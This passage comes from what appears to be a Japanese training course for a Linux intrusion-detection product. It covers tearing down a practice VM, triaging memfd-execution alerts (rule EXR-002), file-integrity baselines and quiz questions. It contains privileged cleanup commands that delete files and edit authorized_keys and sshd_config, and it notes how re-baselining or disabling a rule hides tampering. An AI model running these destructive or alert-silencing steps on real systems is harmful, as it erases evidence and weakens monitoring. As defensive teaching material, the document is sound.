  • EXR-002 を exec_rules_disabled で止める。この講座で見たとおり、/tmp からの実行と memfd からの実行は、同じ EXR-002 です。同僚の /tmp/diskcheck を黙らせると、攻撃者の memfd の通知も消えます
  • fim verify を控える前に fim update を実行する。改ざんが基準に入り、一覧から消えます
  • 入口を閉じる前に emergency-restore する。隔離は、まだ開いている入口からの通信を止めています

#元に戻す

練習の場を片付ける

練習で足したものを消す操作です(変更を伴う操作です)。

sudo ip netns pids outside | xargs -r sudo kill
sudo ip netns del outside
sudo rm -f /etc/systemd/system/labapp.service
sudo systemctl daemon-reload
sudo rm -rf /srv/labapp /srv/lab-attacker /tmp/diskcheck /root/lab_op /root/lab_op.pub /root/lab_atk /root/lab_atk.pub /root/fim-before-apt.txt
sudo sed -i '/lab-operator/d' /home/admin/.ssh/authorized_keys
sudo sed -i 's/^MaxAuthTries 3/#MaxAuthTries 6/' /etc/ssh/sshd_config
sudo DEBIAN_FRONTEND=noninteractive apt-get purge -y -qq chrony >/dev/null 2>&1; echo "apt: exit $?"
sudo roamswitch fim verify
出力の抜粋
apt: exit 0
  🔍 最重要システムファイルの整合性を検証中... (91 件)
  🚨 ファイルの変更・改ざんが検知されました!
    [内容の変更] /etc/gshadow
    [内容の変更] /home/admin/.ssh/authorized_keys
    [内容の変更] /etc/shadow
    [内容の変更] /etc/group
    [削除] /etc/systemd/system/labapp.service
    [内容の変更] /etc/passwd
    [内容の変更] /etc/ssh/sshd_config
  このうち 7 件は、2026-11-12 01:28 のパッケージの更新で説明できなかったため、基準に取り込んでいない変更です。

片付けで戻したファイルと、chrony を外したときのアカウントの削除が並びます。apt のフックが取り込むのは、パッケージが足したシステムアカウントだけで、削除は取り込みません。どれも片付けの変更だと確かめてから、基準を取り直し、サービスを再起動します。

sudo roamswitch fim update
sudo roamswitch fim verify | sed -n 2p
sudo systemctl restart roamswitch-server
systemctl is-active roamswitch-server
実行結果
  📝 現在のシステムファイルからベースラインDBを再作成中...
  ✓ ベースラインDBを正常に更新・署名保存しました。 (90 件記録)
  ✓ SUID / SGID ファイルの基準を更新しました。 (20 件記録)
  ✓ 改ざんは検知されませんでした。すべて正常です。 (90 ファイルを監視中)
active

emergency-restore のあとは、案内のとおり、サービスを再起動して保護のプロファイルを戻します。Falco も外すときは、sudo apt-get remove falco を使います。

#見えない部分

この講座で確かめた範囲

使い捨ての Ubuntu 24.04 の VM で、運用者の作業3件とダミーの攻撃を起こし、7件の通知を、日本語と英語の両方で読みました。どちらも、パッケージの操作が動いていない状態で起こしました。

  • 振り分けは、人が決めます。自動一次判定は、ルールの一般的な傾向か、ファイルの種類で決まります。この1件が誰の操作かは見ていません
  • Falco がないと、eBPF ガードの2件は出ません。memfd の実行の封じ込めも、Falco の検知から始まります
  • 隔離は、labapp.service から出る通信に掛かりました(nftables の規則で確認)。運用者の SSH(保守用のポート 22)は通りました
  • パケットの記録は、tshark がないと取られません。この VM では、プロセスの状態だけが残りました
  • 攻撃者が実行の記録を消した場合は、この講座では扱っていません。記録の改ざんの確かめ方は 証拠・通知・運用 の events verify にあります
確認問題

通知「一時ディレクトリ・削除済み・memfd からの実行 (EXR-002)」の親プロセスは bash ← sshd ← sshd ← sshd ← systemd でした。誤報と決める前に、何を確かめますか

解説を見る

親が sshd でも、そのセッションが攻撃者のものなら本物です。journalctl -u ssh の Accepted の行で鍵の指紋を見て、作業した人の鍵と比べます。EXR-002 を止めると、memfd からの実行の通知も消えます。

確認問題

root の authorized_keys の改ざんを調べている途中で、同僚が apt でパッケージを入れました。直後の fim verify について、言えることはどれですか

解説を見る

apt のフックが基準に取り込むのは、その更新のパッケージが持ち主で、中身がパッケージの記録と一致する変更だけです。演習では、apt の出力に「説明できない変更が 2 件」と出て、fim verify にも残りました。改ざんまで基準に入れてしまうのは、fim update です。

#次に学ぶこと

扱う機能

対応する攻撃手法 (ATT&CK): T1098.004 T1548.003 T1059.004 T1027 T1105 T1553.001

確認した内容

2026-11-12に確認しました。対象は Linux 1.17.39 です。使い捨ての Ubuntu 24.04 の VM(公開版 1.17.39)に Falco を入れ、準備から片付けまでを、日本語と英語で別の新しい VM で実行しました。パッケージの操作が動いていない状態で起こしました。

コマンドの出力は、製品の版や環境によって変わります。違いが出たら、まず製品の版を確かめてください。